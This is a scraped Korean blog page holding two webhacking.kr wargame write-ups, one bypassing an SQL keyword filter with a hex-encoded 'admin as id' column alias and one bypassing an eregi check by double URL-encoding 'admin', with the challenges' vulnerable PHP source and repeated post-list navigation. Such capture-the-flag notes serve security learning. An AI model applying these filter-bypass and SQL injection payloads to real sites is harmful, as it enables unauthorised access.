'WEB Hacking > Lord of SQLi' 카테고리의 다른 글
[los] nightmare :: auto type cast (0) | 2018.09.18 |
---|---|
[los] zombie_assassin (0) | 2018.09.17 |
[los] assassin (0) | 2018.09.17 |
[los] giant (0) | 2018.09.17 |
[los] bugbear (0) | 2018.09.17 |
[los] nightmare :: auto type cast (0) | 2018.09.18 |
---|---|
[los] zombie_assassin (0) | 2018.09.17 |
[los] assassin (0) | 2018.09.17 |
[los] giant (0) | 2018.09.17 |
[los] bugbear (0) | 2018.09.17 |
[los] nightmare :: auto type cast (0) | 2018.09.18 |
---|---|
[los] succubus (0) | 2018.09.17 |
[los] assassin (0) | 2018.09.17 |
[los] giant (0) | 2018.09.17 |
[los] bugbear (0) | 2018.09.17 |
<?
echo("<a href=index_lolll.phps>source</a>");
if(!$_GET[id]) $_GET[id]="guest";
echo("<html><head><title>Challenge 61</title></head><body>");
if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");
if(strlen($_GET[id])>18) exit("Access Denied");
$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));
echo("<b>$q[id]</b><br>");
if($q[id]=="admin")
@clear();
echo("</body></html>");
?>
필터문자
(, )
union
select
challenge
from
,
by
.
이러한 값이 전달되면 "Access Denied" 출력
마찬가지로 문자열 길이도 18 이상이면 "Access Denied"
[쿼리]
SELECT $_GET['id'] FROM c_61 ORDER BY id DESC LIMIT 1
어떻게하든 결과 값이 admin 레코드가 나오도록 해야함.
mysql> select 'admin' as no from member order by no;
+-------+
| no |
+-------+
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
| admin |
+-------+
10 rows in set (0.00 sec)
위 쿼리와 같은 방법으로 하면 해결할 수 있다.
member 테이블에 있는 각각의 레코드에 쿼리가 적용되며, 레코드 수 만큼 "admin"이라는 문자열이 출력될 것이다.
이 쿼리 방식을 문제에 적용하면 아래와 같다.
SELECT "admin" as id from c_61 ORDER BY id DESC LIMIT 1; 으로 쿼리를 보내면
모든 레코드마다 쿼리가 적용되며, id 칼럼에 "admin"이라는 문자열을 가져올 수 있다
하지만 magic_quotes_gpc 설정이 On으로 되어있기 때문에 "admin" 문자열을 쿼터 없이 만들어줘야함.
challenge/web/web-38/index.php?id=0x61646d696e%20as%20id0x61646d696e%20as%20id
[webhacking.kr] 53번 - 작성중 (0) | 2018.09.03 |
---|---|
[webhacking.kr] 29번 SQL 인젝션 subquery (0) | 2018.09.02 |
[webhacking.kr] 27번 SQL 인젝션 LIKE, -- (0) | 2018.09.01 |
[webhacking.kr] 07번 SQL 인젝션 UNION (0) | 2018.08.31 |
[webhacking.kr] 46번 SQL 인젝션 CHAR() (0) | 2018.08.29 |
<html>
<head>
<title>Challenge 26</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
a { color:lightgreen; }
</style>
</head>
<body>
<?
if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); }
$_GET[id]=urldecode($_GET[id]);
if($_GET[id]=="admin")
{
@solve(26,100);
}
?>
<br><br>
<a href=index.phps>index.phps</a>
</body>
</html>
위 소스코드를 보면 id 파라미터를 $_GET 방식으로 받아 eregi 함수로 패턴을 검사한다. 이때, 전달받은 값이 "admin" 이라면 종료하고
아니면 urldecode 함수로 디코딩한다. eregi 함수를 우회하면 되는데 admin을 인코딩하면 %61%64%6d%69%6e 이다.
하지만 $_GET 방식이나 $_REQUEST로 서버가 전달받으면 자동으로 디코딩작업을 해준다. 결국 admin을 받아서 필터처리된다.
따라서 %까지 인코딩해서 보내야한다. %2561%2564%256d%2569%256e
[webhacking.kr] 18번 SQL 인젝션 (0) | 2018.08.29 |
---|---|
[webhacking.kr] 39번 SQL 인젝션 (0) | 2018.08.28 |
[webhacking.kr] 20번 (0) | 2018.08.24 |
[webhacking.kr] 24번 (0) | 2018.08.23 |
[webhacking.kr] 23번 (0) | 2018.08.23 |